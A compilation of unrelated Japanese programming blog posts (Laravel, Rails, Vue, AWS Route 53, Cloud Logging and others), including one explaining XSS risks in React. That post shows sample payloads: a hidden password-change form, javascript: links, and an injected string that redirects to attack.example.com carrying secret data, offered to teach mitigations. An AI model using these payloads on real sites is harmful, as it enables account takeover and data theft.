- 「2時間置き10件Gmailからメールを取得する」という実装にしているため、2時間以内に「Cambly」からのメールを11件以上受信すると、「TimeTree」に予定が登録されない
- 「Canbly」からのリマインドメールが、開始24時間前にならないと来ないので、それまでTimeTree上に予定は登録されない


# Q＆A
Q. Gmailの受信をトリガーにして、GASを動作させれば良いのでは？
A. GASのトリガーに「Gmailの受信」がありませんでした。

Q. リマインドメールではなく、予約確定メールから予約情報を抽出した方が、スケジュール登録までのラグがないのでは？
A. 「Cambly」の設定に、予約確定メールを受け取る設定がないんです。

Q. 「Cambly」がWeb APIを公開していない？
A. 現時点では、ありません。

Q. わざわざスプレットシートにデータを保持しなくても、「TimeTree」から全スケジュールを取得して、予定がなければ追加する処理の方が良くない？
A. こちらも検討しましたが、処理が複雑になると考え、スプレットシートにデータを持つ設計としました。

# これがあれば、楽できたのに実装できたのに！って感じたこと
- GASのトリガーにGmail受信をセットできること
- 「Cambly」側で予約完了メールを送信する設定ができること

# コードを書いていて感じたこと
ソフトウェアエンジニアリングって極論、「**誰かの抱えている課題を、IT技術を使って解決すること**」だと私は考えています。今回、私が書いたコードも「妻の予定を把握できず、困っている私」の課題を解決するためのものです。解決するべき課題があって初めて、使う技術が決まるのだなと感じました。
「**人のためになるコードを書き続けるエンジニア**」、そんなエンジニアに私はなりたい。



# 参考
[TimeTree API](https://developers.timetreeapp.com/ja/docs/api/calendar-app)
[GASマニュアル](https://tonari-it.com/google-apps-script-manual/)
[【書籍】詳解! GoogleAppsScript完全入門 ~GoogleApps & G Suiteの最新プログラミングガイド](https://www.amazon.co.jp/dp/4798053767/ref=cm_sw_r_tw_dp_x_pCSNFbJTCR3BS)
Reactで発生しうるXSS脆弱性

JSX内の式埋め込みでは、基本的にHTMLとして解釈されないようエスケープされます。ですが、危険性がゼロなわけではありません。

## Reactの標準エスケープ

```react:App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;

  return (
    <div>
      {userInputText1}
      {userInputText2}
    </div>
  );
}
```

### 結果

正しくエスケープされている

![スクリーンショット 2020-11-07 13.36.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/305522/392ab403-ca45-f803-9a58-347eab72a1b0.png)

## XSSの発生パターン

### 1. `dangerouslySetInnerHTML`の利用

https://ja.reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml

React公式のエスケープを無効化するオプションです。基本的に使いませんが、どうしてもHTMLとして認識させたい場合などに利用するそうです。

```react:App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;
  const userInputText3 = '
    <form action="http://api.example.com/change_password" method="POST">
      <input type="hidden" name="password" value="hack" />
      <input type="submit" value="これ見て！" />
    </form>
  ';
  const userInputText4 = `<iframe src="https://qiita.com"></iframe>`;

  return (
    <div>
      <div dangerouslySetInnerHTML={{ __html: userInputText1 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText2 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText3 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText4 }} />
    </div>
  );
};
```

#### 結果

タグが適用されている

![スクリーンショット 2020-11-07 13.56.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/305522/b536313b-9c10-c6d6-4835-238834bdfb09.png)

まず、scriptタグは無視されます。これは、ES仕様のとして`innerHTML`でのscriptが動作しないだけで、他のあらゆる要素は解釈されます。

もちろん、`iframe`や`form`は正常に表示されてしまいます。この時点でXSRF対策が不十分であったりすると、重大なセキュリティ事故につながります。

#### 対策

使わない。どうしても利用したい場合は、徹底的にエスケープを行う。

### 2. javascriptスキームの悪用

`href`属性は、先頭が`javascript:`から始まる場合はそれ以降の文字列をjavascriptとして実行します。もちろん`window.location`オブジェクトへの操作も同様です。

```react:App.jsx
const App = () => {
  const userInputText1 = `javascript: alert('Warning!')`;

  // locationオブジェクトへの操作も同様
  // window.location.href = userInputText1;

  return (
    <div>
      <a href={`${userInputText1}/edit`}>link</a>
    </div>
  );
};
```

#### 結果

javascriptが実行されてしまっている

![スクリーンショット 2020-11-07 15.16.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/305522/510e18ce-80b2-920e-4963-7ca1937ddbe2.png)

#### 対策

先頭からユーザーが決められる文字列を挿入しない。そもそも先頭に`/`をつける。

```<a href={`/${userInputText1}/edit`}>link</a>```

基本はサーバーの生成する一意のIDやランダム文字列を識別子として扱うように設計すると安全な気がします。（例えばユーザー名に`/`などの記号が紛れ込んでしまっていても、意図しない遷移先に書き換えられる恐れがあるので）

#### hrefの最悪な使い方

極端ですが、こんなことをした日には、Reactエンジニア失格です...。普通に`onClick`を使いましょう。

```react:jsx
const App = () => {
  // 悪意のある値
  const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";

  const hrefAction = `
    alert('${userInput}');
  `;

  return (
    <div>
      <a href={`javascript:${hrefAction}`}>link</a>
    </div>
  );
};
```

## 終わりに

ご指摘等あれば、コメントよろしくお願いします。
HTTPとは何かについて説明します(初心者向け)

<div class="title"><h1>HTTP(HyperText Transfer Protocol)とは</h1></div><br>

<b>Webページが表示されるときにはWebブラウザーからWebサーバーにコンテンツを要求(リクエスト)して、Webサーバーが要求されたコンテンツをWebブラウザーに送信する(レスポンス)というやりとりが発生します。

例えるならWebブラウザーがスタバで商品を注文(リクエスト)するお客さん、Webサーバーがそれに対して、商品を渡す(レスポンス)みたいなイメージです。


補足として、Webブラウザーは我々がWebサイトを見るときに使っているchrome,Safari,Internet Explorer(IE)のことを指しています。<br>
一方で、Webサーバーとはブラウザーに対するインターフェースの役割をはたすプログラムのことを指しています。


<b>HTTPはこのWebブラウザーとWebサーバーのやりとりや手順を定めているプロトコル(取り決め、ルール)になります。<br>

※プロトコルとはネットワークが通信するときの共通されたルールは手順や取り決めのことです。
![スクリーンショット 2020-12-10 6.10.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/794525/216862bb-2f34-da08-abd8-ef4fa58de8cf.png)
【Lalavel】バリデーションルールを作成する

バリデーションルールは、Illuminate\Contracts\Validation名前空間の　**Rule**　というクラスを継承して作られる。

このRuleを継承したクラスを用意して、ルールを作成する。

```
# app/Rules/Myrule.php　が作成される。

php artisan make:rule Myrule
```


```Myrule.php

//作成されるソース

namespace App\Rules;

use Illuminate\Contracts\Validation\Rule;

class Myrule implements Rule
{
    public function __construct()
    {
        //
    }

    public function passes($attribute, $value)
    {
        # ルールの通過条件を記載
        # $attribute: ルールの属性
        # $value: チェックする値
    }

    public function message()
    {
        # 返すメッセージ
        return 'The validation error message.';
    }
}
```

使用例）

```Myrule.php
<?php

namespace App\Rules;

use Illuminate\Contracts\Validation\Rule;

class Myrule implements Rule
{
    public function __construct($n)
    {   
        //インスタンス生成時、バリデーションのルールとなる値を入力
        $this->num = $n;
    }

    public function passes($attribute, $value)
    {
        //ルールとなる値($n)で入力された$valueが割り切れるかチェック（true or falesを返す)
        return $value % $this->num == 0;
    }

    public function message()
    {   //function passesメソッドでfalseが返された時に、返すメッセージの設定
        return $this->num . 'で割り切れる値が必要です。';
    }
}
```

```HelloRequest.php

//FormRequest

<?php

namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;
use App\Rules\Myrule;

class HelloRequest extends FormRequest
{
   public function authorize()
   {
       if ($this->path() ==  'hello')
       {
           return true;
       } else {
           return false;
       }
   }

   public function rules()
   {
       return [
            //Myruleクラスのインスタンスを作成。コンストラクタに　5　を渡す。
           'age' => new Myrule(5)
       ];
   }
}
```
MySQL コマンド覚書

MySQLコマンドの覚書(忘備録)です。
ちょこちょこ書き足していきます。

## ログイン

```shell
mysql -u {ﾕｰｻﾞｰ名} -p
```
入力するとパスワード入力に移行する。(設定されている場合)


## DataBase 操作

### 一覧取得
```shell
show databases;
```
セミコロン忘れないこと

### 使用データベース切替 

```shell
show databases;
```
セミコロン忘れないこと
Switch文で複数の値を同じcaseにしたい【Dart】


# 始めに
Flutterで開発している際にSwitch文を使って返すWidgetを捌きたいケースが出てきた
その時にインデックスの0~2までは同じ値を返したい。みたいなのをどうやるのかが中々分からなかったので備忘録


# どうやるの？

こうやる

```dart
    switch (_index) {
      case 0:
      case 1:
      case 2:
        return Text('index is 0 to 2');
      case: 3:
        return Text('index is 3');   
      default:
        return Text('default');
```

判定したい値を`,`とか`||`で繋ぐのかと思いきや、`case`を羅列して`break;`を書かないという感じで書く

まあそれは通るよねという感じでした
もし何かもっとスマートな書き方があったら是非教えていただきたいです
なぜ、plt.show()が抜けたコードによく出会うのか？　いつ、plt.show()は必要なのか？

#概要

表題の通り。
Pythonを使った深層学習に関連する記事で、サンプルのコードをそのまま手元で動かして、画像が表示されなくて、寂しい気分になることがある。
経験的に、`plt.show()`を追加したら表示されることは覚えていたり、忘れていたりだが。。。
**モジュールのバージョンの違いかな？？？**と思ったりしている人もいるかも。

ちょっと、調べたので、情報を共有する。

いろいろいい記事がすでにあると思いますが、`plt.show()`のみにまとを絞りました。

#調べた結果

##この説明がいいのでは？(https://stackoverflow.com/questions/54422714/when-is-plt-show-required-to-show-a-plot-and-when-is-it-not)

以下の記事に以下の回答が示されていた。
(引用元：https://stackoverflow.com/questions/54422714/when-is-plt-show-required-to-show-a-plot-and-when-is-it-not ）

>To require or not required depending on where your script is.
>
>There are 2 contexts.(
>
>* Matplotlib is used in a terminal or scripts, plt.show() is a must.
>
>* Matplotlib is used in a IPython shell or a notebook (ex: Kaggle), plt.show() is unnecessary.


この記事を、わざわざ引用したのは、原因が、**jupyter notebook**に「のみ」関連するのかな？と思っていたが、**それ以外の環境である可能性もあると気付いたため。**

##Jupyter notebookとかで、plt.show()がなくても、画像が表示される理由。

下記の記事

https://docs.pyq.jp/python/pydata/jupyter/matplotlib.html

を抜粋引用すると

（引用）**Jupyter Notebookでは、セルの最後に評価したオブジェクトが出力されます。**

らしい。

**セルの最後に評価したオブジェクトが出力される** らしい。なるほど。それなら、わざわざ、showする必要なしですね。

#まとめ
特にありません。
コメントなどあれば、お願いします。:candy:
（シングルクォートを記事で初めて使った。）
[Rails]jqueryの導入

アプリ開発でjqueryを使うことが多かったので、導入方法をまとめました。
**Railsのバージョンは6.0.0です。**

##### ターミナル 
```
yarn add jquery
```

```ruby:config/webpack/environment.js
const { environment } = require('@rails/webpacker')
# 追記
const webpack = require('webpack')
environment.plugins.prepend('Provide',
    new webpack.ProvidePlugin({
        $: 'jquery/src/jquery',
        jQuery: 'jquery/src/jquery'
    })
)
# ここまで
module.exports = environment
```

```ruby:app/javascript/packs/application.js
require('jquery')  # 追記
require("@rails/ujs").start()
require("turbolinks").start()
require("@rails/activestorage").start()
require("channels")
require("../category")
require("../category_post")
```
[初心者]laravel×AWSで掲示板を作ってみた

#簡単に自己紹介
・商社営業１年目
・筋トレとランニングが趣味
・将来は犬を飼ってのんびり暮らしたい

#何を作ったか？
悩みを共有してアドバイスできる掲示板。サービス名は 「vible」です。
アカウントを自由に作成して下記よりお試しください。（アドレスは適当なものでも可）
<https://vible.jp/>

githubレポジトリは以下です。
<https://github.com/vibleadm/vible_dev>

![vible.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/bb246ad6-e4f6-2057-ae05-366e5756fba0.gif)



#使用技術と言語
- laravel(PHP)
- jQuery(Ajax)による「いいね」機能
- AWS
- bootstrap

#作ったきっかけ
エンジニアのように自分のポートフォリオを持ってみたいと思ったからです。
当時、知恵袋とTwitterが一体化したようなサービス（質問の回答を通してつぶやき閲覧ができる）があればいいなと思っていたので作ってみることにしました。


#開発期間
３か月程度かかりました。平日は仕事なので、週末を利用して開発を進めていました。
PHP,Laravelって何？ってところからスタートだったので、最初はなかなか苦しかったです。
ゼロからのスタートなので、本は１冊準備しました。
『PHPフレームワークLaravel入門；掌田津耶乃』

開発の方針として、まず似たようなことをやっている他人のソースコードを真似する。それから微修正を加えていって、自分が作りたい形に変えていく。という感じでやりました。
正しい方法かどうかは分かりませんが、最短で形にするには「誰かのマネをする」は有効な方法の１つだと思います。


#主な機能
SNSなどでも必須と考えられる機能を一通り実装しました。具体的な実装方法はチャプターリンクから参照してください。

###マイページ機能
各投稿のユーザ名をクリックするとマイページ（Twitter風ページ）に飛ぶように実装。
![mypage.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/79c83ab0-ccce-94d0-5b03-6eebe54044d2.gif)


###ログイン機能
メールアドレス（適当なものでOK）とパスワードを使った認証機能を実装。

![login.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/06b20152-a77c-a079-43e3-c27ec50e2311.gif)

###いいね機能
自分がいいねを押しているかどうか判定したうえで、いいねを押せるように実装。
![likebutton.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/f7067c2d-4508-add2-31a1-ce218e8ad01b.gif)






#チャプターリンク
以下の構成で記事を作成しました。
基本的になぞっていきながらgithub参照してもらえれば、同じサービスが再現できるはずです。

1. [完成形イメージ](https://qiita.com/surasurag/items/2ebce801a9ed04804e08>)
2. AWSサーバを立てる（工事中）
3. サーバにlaravelを導入してRDSと連携する（工事中）
4. [データベース構築](https://qiita.com/surasurag/items/f9be44372c41f83cc543)
5. [Modelの作成](https://qiita.com/surasurag/items/5db521b4877f829ffca7)
6. [Controllerの作成](https://qiita.com/surasurag/items/6e69247cdbb077fac31a)
7. [いいね機能の実装](https://qiita.com/surasurag/items/0141d48d2869bd1bd913)
8. [ルーティングの実装](https://qiita.com/surasurag/items/2f00d36fdeadf52438bf)


#感想
簡単なwebサービス１つを作るのがこんな大変だとは思わなかったです。
普段何気なく使っているwebサービスがいかにスゴイかが分かりました。
あと完成して形になったときはやっぱり嬉しいですね。
アプリ第２弾作成中なので、完成したらまた発信します。
【Route 53】Route 53 とは

## Route 53 とは
DNSサービスを提供するマネージドサービス
DNSサービスを実行するためのサーバー管理、冗長化対策、セキュリティ対策を担う

- サーバーは複数ロケーションに分散して配置されている
- 稼働率はSLA上100％
- 特定リージョンに紐付くものではなく、グローバルサービスとして利用される
- 特定のVPCからの問い合わせとそれ以外からの問い合わせを識別し、異なる応答を返すことが出来る

### ホストゾーン
ドメインとそのサブドメインのトラフィックのルーティングする方法についての情報を保持するコンテナ

**パブリックホストゾーン**：インターネット上に公開されたDNSドメインのレコードを管理するコンテナ

**プライベートホストゾーン**：VPCに閉じたプライベートネットワーク内のDNSドメインのレコードを管理するコンテナ
→ 1つのプライベートホストゾーンで複数VPCに対応
→ VPCが相互アクセス可能であれば複数リージョンのVPCでも同じホストゾーンを利用可能

### 利用方法
1. Route 53にドメインを設定
2. ドメイン名と同じホストゾーンを自動生成
3. ホストゾーンにルーティング方法となるDNSレコードを作成
4. トラフィックルーティングを設定

## AWS DNS サーバー
VPC作成時に自動で作成されるDNSサーバー

- VPC上で起動したEC2インスタンスはAWS DNSサーバーを参照するよう自動設定される
- ユーザーがAWS DNSサーバーにホスト名とプライベートIPアドレスを登録することは出来ない

## DNS レコード
- **Aレコード**：ドット形式10進表記のIPv4アドレスを使用し、ウェブサーバーなどのリソースにトラフィックをルーティングする

- **MXレコード**：メールサーバーのドメイン名を指定する
→ 複数のメールサーバーがある場合は優先順位を指定する

- **CNAMEレコード**：`abc.example.com`などの現在のレコードの名前に対する DNS クエリを、別のドメイン(`example.com`、`example.net`など）またはサブドメイン（`abc.example.com`、`zenith.example.org`など）にマッピングする

- **SOAレコード**：ドメイン及び対応するRoute 53のホストゾーンに関する情報を提供する

- **AAAAレコード**：コロン区切り10進表記のIPv6アドレスを使用し、ウェブサーバーなどのリソースにトラフィックをルーティングする

- **CAAレコード**：ドメインまたはサブドメインの証明書の発行を許可する認証機関（CA）を指定する

- **NAPTRレコード**：動的委任発見システム（DDDS）アプリケーションで、1つの値を別の値に変換または置き換えるために使用される （例：電話番号をSIP URIに変換する）

- **NSレコード**：ホストゾーンのネームサーバーを識別する

- **PTRレコード**：IPアドレスを、対応するドメイン名にマッピング

- **SPFレコード**：以前は、メールの送信者の身元を確認するために使用
→ 現在は代わりにTXTレコードを作成することが推奨されている

- **SRVレコード**：4つのスペース区切りの値で構成され、最初の3 つの値は、優先順位・重み・およびポートをそれぞれ表す10進値です、4 番目の値はドメイン名

- **TXTレコード**：二重引用符（"）で囲まれた1つ以上の文字列が含まれる

## トラフィックルーティング
トラフィックルーティングの**ルーティングポリシー**を定義することにより、DNSクライアントからの名前解決要求（DNSクエリ）への応答を制御可能

| ルーティングポリシー | 特徴 |
|:-:|:-:|
| シンプルルーティング | ・通常のDNSサーバーと同様の挙動<br>・定義されたリソースレコードの値を返す |
| 加重ルーティング | 負荷分散サービス（ELB）に割り当てられたエンドポイントごとに重み付けを設定し、重み付けの値に応じてエンドポイントの値を返す |
| レイテンシールーティング | DNSクライアントとAWSリージョン間のレイテンシーをRoute 53が確認し、レイテンシーの短いリソースの値を返す |
| フェイルオーバールーティング | ・Route 53がリソースの正常性を定期的に監視し、リソースが正常な場合、値を返す<br>・リソースの異常を検知した場合、別途定義された正常なリソースの値を返す |
| 位置情報ルーティング | DNSクライアントのリクエスト発信元の位置情報から、地理的に最も近いリソースを判断し、値を返す |
#4 データベース構築 ~laravel×AWSで掲示板を作ろう~

#laravel×AWSで掲示板を作ろう
本記事は、laravel×AWSの第4回です。
作ったサイト：<https://vible.jp>

【参照】
1. [完成形イメージ](https://qiita.com/surasurag/items/2ebce801a9ed04804e08>)
2. AWSサーバを立てる（工事中）
3. サーバにlaravelを導入してRDSと連携する（工事中）
4. [データベース構築](https://qiita.com/surasurag/items/f9be44372c41f83cc543)
5. [Modelの作成](https://qiita.com/surasurag/items/5db521b4877f829ffca7)
6. [Controllerの作成](https://qiita.com/surasurag/items/6e69247cdbb077fac31a)
7. [いいね機能の実装](https://qiita.com/surasurag/items/0141d48d2869bd1bd913)
8. [ルーティングの実装](https://qiita.com/surasurag/items/2f00d36fdeadf52438bf)

#データベース構築が必要となる機能
本サービスにおいてデータベース管理が必要となる機能は以下となります。
ユーザ情報管理に関しては、laravelが用意してくれているのでそのまま使っています。（laravel便利ですね）


|アプリでの役割 | 作成するテーブル |
|---|---|
|悩み投稿  |questions  |
|悩みアドバイス投稿  |answer_questions |
|ツイート投稿  |tweets |
|ツイートへのコメント投稿  |answer_tweets  |
|いいね投稿  |question_likes, answer_question_likes, tweet_likes, answer_tweet_like  |



#questionsテーブル作成
ここではquestionsテーブルの作成を例として説明していきます。他のテーブルを作成する際も同様ですので参考にしてください。

まずはmigrationファイルを作成します。
これはデータベースの「素」となるファイルと思ってください。


```
$ php artisan make:migration Question 
```

すると「日付 + questions_table.php」というファイルが作成されます。（※laravelのルールでテーブル名は必ず複数形）
これがテーブルの「素」となります。ここにテーブルの構造を追記していきましょう。今回questionsテーブルの構造は以下の表のようにします。

|項目名 | 概要 |
|---|---|
|id  |各質問に与えられる投稿ID  |
|title  |質問のタイトル |
|content  |質問内容 |
|user_id  |投稿者のID  |
|created_at  |作成日時  |
|updated_at  |更新日時  |

なので、migrationファイルを以下のように編集してあげればOK。

```php:2020_10_10_045014_create_questions_table.php

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateQuestionsTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('questions', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->string('title');
            $table->string('content');
            $table->unsignedBigInteger('user_id');
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('questions');
    }
}
```
あとは以下を実行すればテーブルがめでたく作成されます。

```
$ php artisan migrate 
```

※他のテーブルについてはgithubを参照お願いします。(database\migrationsに格納されています)
#8 ルーティングの実装 ~laravel×AWSで掲示板を作ろう~

#laravel×AWSで掲示板を作ろう
本記事は、laravel×AWSの第8回です。
作ったサイト：<https://vible.jp>

#ルーティング
laravel的な考え方です。
どこのURLにどのようにアクセス（get,post）したかに応じて、実行するコントローラを指定するものです。
参考までに記載しておきます。

```php:web.php
<?php

use Illuminate\Support\Facades\Route;
use App\Http\Middleware\HelloMiddleware;
use Illuminate\Auth\Middleware\Authenticate;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/


Route::get('/', 'QuestionController@index')->name('toppage');
Route::delete('test/destroy/{id}', 'QuestionController@nayami_destroy')->name('destroy');
Route::delete('test/mypage/destroy/{id}', 'TweetController@tweet_destroy')->name('tweet.destroy');

Route::get('test', 'QuestionController@index')->name('toppage');
Route::post('/questionlike', 'QuestionController@ajaxlike');

Route::get('test/mypage', 'TweetController@mypage')->middleware('auth');
Route::get('/test/mypage/tweet/{id}', 'TweetController@detail');
Route::post('/tweetlike', 'TweetController@tweetlike');
Route::post('/answertweetlike', 'TweetController@answer_tweet_like');

//名前のリンクから飛んでくるとき用
Route::post('test/mypage', 'TweetController@gotomypage')->middleware('auth');
Route::post('test/mypage/tweet', 'TweetController@tweet_add')->middleware('auth');
Route::post('/test/mypage/tweet/{id}', 'TweetController@tw_comment')->middleware('auth');


Route::get('test/add', 'QuestionController@nayami_add')->middleware('auth');
Route::post('test/add', 'QuestionController@nayami_create')->middleware('auth');


Route::get('/logout', 'Auth\LoginController@logout');

//ホーム画面のLogin,Registerの表示をしてくれる
Route::auth();


Route::get('/nayami/{id}', 'QuestionController@detail')->middleware('auth');
Route::post('/nayami/{id}', 'QuestionController@nayami_answer');
Route::post('answerquestionlike', 'QuestionController@answer_question_like');

?>
```
#1完成形イメージ　~laravel×AWSで掲示板を作ろう~

#laravel×AWSで掲示板を作ろう
本記事は、laravel×AWSの第1回です。
作ったサイト：<https://vible.jp>
ご自由にアカウントの作成や、悩み、つぶやきの投稿をしてみてください。
メールアドレスは正規のものでなくても問題ありません。


1. [完成形イメージ](https://qiita.com/surasurag/items/2ebce801a9ed04804e08>)
2. AWSサーバを立てる（工事中）
3. サーバにlaravelを導入してRDSと連携する（工事中）
4. [データベース構築](https://qiita.com/surasurag/items/f9be44372c41f83cc543)
5. [Modelの作成](https://qiita.com/surasurag/items/5db521b4877f829ffca7)
6. [Controllerの作成](https://qiita.com/surasurag/items/6e69247cdbb077fac31a)
7. [いいね機能の実装](https://qiita.com/surasurag/items/0141d48d2869bd1bd913)
8. [ルーティングの実装](https://qiita.com/surasurag/items/2f00d36fdeadf52438bf)

#コンセプト
投稿された日常の悩みを共有してアドバイスを送ってあげるサービス。
各ユーザは自分だけの掲示板を持っており情報発信できるようになっています。
知恵袋×Twitter風のサービスをイメージしてくれると分かりやすいと思います。
アプリ名は「vible」です。

#デモ画面

1.タイトルと内容を書き込んで投稿
![vible_input.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/ac73ae23-1e7c-1b6b-1ea6-b54b94c8ccc9.png)

2.掲示板に投稿される（いいね機能＆削除機能も実装）
　※名前をクリックすると各ユーザのマイページに飛ぶ
![vible_image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/a397e9d5-36bd-d91f-e822-278a0f8d43c6.png)

3.投稿された悩みに対してアドバイスを送れる
　※名前をクリックすると各ユーザのマイページに飛ぶ
![advice.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/64ab4549-a341-f5c7-abb2-870513077e00.png)

4.各ユーザのマイページにはTwitter機能を実装
![mypage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/8c566159-f1d2-f4a2-a8fc-bea72644f818.png)

5.ツイートボタンを押すとモーダルウィンドウで投稿できる
![tweet.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/c41a2bb9-5639-968e-4a2c-d36c1cfebde1.png)

6.日付順にツイートが表示される（いいね機能＆削除機能も実装）
![tweeted.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/832092/c13977bb-081c-694f-5bd9-265484ac178e.png)
10分でCloud LoggingをPythonで使えるようにする

#こんな方向け

・クラウドのロギングツールを探している
・リモートPCを複数稼働していて、ログを集約したい
・無料で使いたい（投稿日現在、毎月50GiBまで[無料](https://cloud.google.com/stackdriver/pricing)）

# 概要

1. 認証情報ファイルをダウンロードする
2. GoogleのPythonライブラリのインストール
3. お試しログ書き込み
4. ログ閲覧

## 1.認証情報ファイルをダウンロードする

[Setting up authentication](https://cloud.google.com/logging/docs/reference/libraries?hl=ja#setting_up_authentication)より、認証情報を作成して、ダウンロードする。

ダウンロードした認証情報jsonファイルの名前を「service.json」などにリネームしておく。

※認証情報「サービス アカウント」の jsonファイルがダウンロードされる。認証情報ページからは「OAuth 2.0 クライアント ID」の認証情報 jsonファイルもダウンロードできるが、そちらは違うので注意。

## 2.GoogleのPythonライブラリのインストール

```
pip install google-cloud-logging
```

## 3.お試しログ書き込み

コーディング例

```
import os
import sys
from google.cloud import logging
from pathlib import Path

class Logger(object):

    def __init__(self, log_name):

        # ログネームがないなら、初期化エラーにする
        if log_name == None or log_name == '':
            print('ERROR : log_name is blank')
            sys.exit()
      
        parameter = {}
        parameter['project_name'] = '【認証情報を作成したgoogleプロジェクト名を入れる（"My Project"など）】'
        parameter['credential_path'] = '【認証情報jsonファイルの相対パスを入れる（同じディレクトリなら"service.json"など】'
        os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = str((Path(Path.cwd()))/parameter['credential_path'])
        logging_client = logging.Client()

        self.logger = logging_client.logger(log_name)

    # ログレベル DEBUG の書込
    def debug(self, text):
        self.logger.log_text(text, severity='DEBUG')
        print('Logged[DEBUG]: {}'.format(text))

    # ログレベル INFO の書込
    def info(self, text):
        self.logger.log_text(text, severity='INFO')
        print('Logged[INFO]: {}'.format(text))

    # ログレベル WARNING の書込
    def warning(self, text):
        self.logger.log_text(text, severity='WARNING')
        print('Logged[WARNING]: {}'.format(text))

    # ログレベル ERROR の書込
    def error(self, text):
        self.logger.log_text(text, severity='ERROR')
        print('Logged[ERROR]: {}'.format(text))

    # ログレベル CRITICAL の書込
    def critical(self, text):
        self.logger.log_text(text, severity='CRITICAL')
        print('Logged[CRITICAL]: {}'.format(text))


if __name__ == '__main__':

  logger = Logger('my-log')

  logger.debug('test debug')
  logger.info('test info')
  logger.warning('test warning')
  logger.error('test error')
  logger.critical('test critical')
```

## 4.ログ閲覧

Googleの [ログエクスプローラー](https://console.cloud.google.com/logs/)で、ログを閲覧する。
 ![img.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/227525/f3a08c8d-ed9c-4c4c-10a4-d6f169e83e4f.jpeg)

## 雑感

グラフィカルにログを追えるので、そこそこ使い勝手は良いと思われる。
Vue.jsで画像プレビュー機能を実装

# はじめに
以前Laravel + AWS S3を用いて、画像アップロード機能を実装しました。
その際、プロフィール画像の変更時に画像のプレビューが見れたらいいなと思いましたので今回はプレビュー機能を実装していきます。

せっかくなので、Vue.jsで実装してみようと思います。まだVue.jsはほぼ知識がないので勉強しながら実装していきます。

# バージョン
・Laravel：7.20.0
・Vue.js 2.5.17

# 流れ
大まかな流れは以下の通り

- Vueファイルの作成
- 処理の実装
- コンポーネントの登録

# 開発
まずは、プレビュー用のVueファイルを作成します。
resources/js/components配下で新規作成します。

処理はこちらになります。

```ImagePreviewComponent.vue
<template>
    <div>
        <div>
            <input type="file" name="avatar" ref="preview" v-on:change="show">
        </div>
        <div class="preview-box" v-if="url">
            <img class="image-preview" v-bind:src="url">
        </div>
    </div>
</template>

<script>
export default {
    name: "ProfileImagePreviewComponent",

    data() {
        return {
            url:""
        }
    },
    methods: {
        show() {
            const file = this.$refs.preview.files[0];
            this.url = URL.createObjectURL(file);
        }
    }
}
</script>
```

# 解説

```HTML
<input type="file" name="avatar" ref="preview" v-on:change="show">
```

ref属性を設定することで、設定した要素（今回であればinput要素）のファイル情報を動的に取得することが出来る。

取得したい要素に`ref`を設定し、`$refs`を用いて取得することが出来る。
取得方法としては、`$refs.[ref属性で付けた名前]`でその要素にアクセスできる。
今回は、input要素のファイル情報を取得したいため下記のように記載する。

```JavaScript
methods: {
    show() {
        const file = this.$refs.preview.files[0];
        this.url = URL.createObjectURL(file);
    }
}
```

***URL.createObjectURL()とは？***
> URL.createObjectURL() 静的メソッドは、引数で指定されたオブジェクトを表す URL を含む DOMString を生成します。 URL の寿命は、それを作成したウィンドウ内の document と結び付けられています。 新しいオブジェクト URL は、指定された File オブジェクトか Blob オブジェクトを表します。
参考：[URL.createObjectURL()- MDN Web Docs](https://developer.mozilla.org/ja/docs/Web/API/URL/createObjectURL)


つまり、引数で指定したオブジェクトの一時的なURLを作成する処理。
一時的なため、別ページに遷移するなどしてアンロードすれば無効となる。

URL.createObjectURL()で一時的なURLを生成し、imgタグで表示させてあげることでプレビュー機能が出来るということ。

v-onディレクティブで、ファイルを選択した際にshow()メソッドでファイルのURLを生成する！


参考
・[URL.createObjectURL() - オブジェクトのURLを作成する](https://lab.syncer.jp/Web/API_Interface/Reference/IDL/URL/createObjectURL/)
・[HTMLElement：イベントの変更](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event)

---

```HTML
<div class="preview-box" v-if="url">
    <img class="image-preview" v-bind:src="url">
</div>
```

v-ifディレクティブで、URLがある場合のみプレビューを表示させる。

# 完成イメージ
![qiita preview.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/381376/dbdb8ce1-7794-73ee-c4e8-e902c93d8788.png)

表示写真はお好みで、CSSを記載してあげるといいかと思います。
（※この写真は、学生時代に3Dプリンターで作った人工筋肉用の部品です）

# まとめ
